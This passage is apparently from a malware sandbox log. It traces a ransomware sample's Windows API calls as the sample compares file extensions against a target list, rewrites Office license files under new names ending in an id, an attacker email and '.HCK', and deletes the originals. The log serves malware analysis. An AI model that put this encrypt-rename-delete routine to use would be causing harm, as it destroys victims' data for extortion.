lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".bz2") returned 4 [0242.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".7z") returned 3 [0242.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".dbf") returned 4 [0242.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".1cd") returned 4 [0242.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".jpg") returned 4 [0242.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".doc") returned 4 [0242.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".docx") returned 5 [0242.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.390] lstrlenW (lpString=".pdf") returned 4 [0242.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".xls") returned 4 [0242.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".xlsx") returned 5 [0242.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.390] lstrlenW (lpString=".ppt") returned 4 [0242.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".zip") returned 4 [0242.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".rar") returned 4 [0242.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".bz2") returned 4 [0242.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString=".7z") returned 3 [0242.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".dbf") returned 4 [0242.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".1cd") returned 4 [0242.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0242.390] lstrlenW (lpString=".jpg") returned 4 [0242.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.391] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.391] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29 [0242.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.392] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11596) returned 1 [0242.392] CloseHandle (hObject=0x558) returned 1 [0242.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220 [0242.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.392] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.392] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.393] GetLastError () returned 0x0 [0242.393] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0242.395] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0242.396] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.396] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10e, lpOverlapped=0x0) returned 1 [0242.396] SetEndOfFile (hFile=0x340) returned 1 [0242.397] CloseHandle (hObject=0x340) returned 1 [0242.397] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.397] SetEndOfFile (hFile=0x558) returned 1 [0242.399] CloseHandle (hObject=0x558) returned 1 [0242.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1 [0242.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.400] lstrlenW (lpString=".doc") returned 4 [0242.400] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.400] lstrlenW (lpString=".docx") returned 5 [0242.400] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.400] lstrlenW (lpString=".pdf") returned 4 [0242.400] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".xls") returned 4 [0242.401] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".xlsx") returned 5 [0242.401] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.401] lstrlenW (lpString=".ppt") returned 4 [0242.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".zip") returned 4 [0242.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".rar") returned 4 [0242.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".bz2") returned 4 [0242.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".7z") returned 3 [0242.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".dbf") returned 4 [0242.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".1cd") returned 4 [0242.401] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".jpg") returned 4 [0242.401] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".doc") returned 4 [0242.401] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".docx") returned 5 [0242.401] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.401] lstrlenW (lpString=".pdf") returned 4 [0242.401] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".xls") returned 4 [0242.401] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".xlsx") returned 5 [0242.401] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.401] lstrlenW (lpString=".ppt") returned 4 [0242.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".zip") returned 4 [0242.401] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".rar") returned 4 [0242.401] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".bz2") returned 4 [0242.401] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString=".7z") returned 3 [0242.401] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".dbf") returned 4 [0242.401] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.401] lstrlenW (lpString=".1cd") returned 4 [0242.402] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0242.402] lstrlenW (lpString=".jpg") returned 4 [0242.402] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.402] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.402] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26 [0242.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.403] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11155) returned 1 [0242.403] CloseHandle (hObject=0x558) returned 1 [0242.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220 [0242.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.403] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.403] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.404] GetLastError () returned 0x0 [0242.404] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2b93, lpOverlapped=0x0) returned 1 [0242.406] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0242.407] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.407] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x108, lpOverlapped=0x0) returned 1 [0242.407] SetEndOfFile (hFile=0x340) returned 1 [0242.407] CloseHandle (hObject=0x340) returned 1 [0242.407] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.407] SetEndOfFile (hFile=0x558) returned 1 [0242.409] CloseHandle (hObject=0x558) returned 1 [0242.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 1 [0242.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.410] lstrlenW (lpString=".doc") returned 4 [0242.410] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".docx") returned 5 [0242.410] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.410] lstrlenW (lpString=".pdf") returned 4 [0242.410] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".xls") returned 4 [0242.410] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".xlsx") returned 5 [0242.410] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.410] lstrlenW (lpString=".ppt") returned 4 [0242.410] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.410] lstrlenW (lpString=".zip") returned 4 [0242.410] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".rar") returned 4 [0242.410] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".bz2") returned 4 [0242.410] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.410] lstrlenW (lpString=".7z") returned 3 [0242.411] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".dbf") returned 4 [0242.411] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".1cd") returned 4 [0242.411] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".jpg") returned 4 [0242.411] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".doc") returned 4 [0242.411] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".docx") returned 5 [0242.411] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.411] lstrlenW (lpString=".pdf") returned 4 [0242.411] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".xls") returned 4 [0242.411] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".xlsx") returned 5 [0242.411] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.411] lstrlenW (lpString=".ppt") returned 4 [0242.411] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".zip") returned 4 [0242.411] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".rar") returned 4 [0242.411] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".bz2") returned 4 [0242.411] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString=".7z") returned 3 [0242.411] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".dbf") returned 4 [0242.411] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".1cd") returned 4 [0242.411] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76 [0242.411] lstrlenW (lpString=".jpg") returned 4 [0242.411] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.411] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.411] lstrlenW (lpString="MondoR_SubTrial2-ppd.xrm-ms") returned 27 [0242.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.412] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26526) returned 1 [0242.412] CloseHandle (hObject=0x558) returned 1 [0242.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220 [0242.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.413] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.413] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.414] GetLastError () returned 0x0 [0242.414] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x679e, lpOverlapped=0x0) returned 1 [0242.416] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x67a0, lpOverlapped=0x0) returned 1 [0242.417] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.417] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10a, lpOverlapped=0x0) returned 1 [0242.417] SetEndOfFile (hFile=0x340) returned 1 [0242.417] CloseHandle (hObject=0x340) returned 1 [0242.417] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.417] SetEndOfFile (hFile=0x558) returned 1 [0242.419] CloseHandle (hObject=0x558) returned 1 [0242.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".doc") returned 4 [0242.421] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".docx") returned 5 [0242.421] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.421] lstrlenW (lpString=".pdf") returned 4 [0242.421] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".xls") returned 4 [0242.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".xlsx") returned 5 [0242.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.421] lstrlenW (lpString=".ppt") returned 4 [0242.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.421] 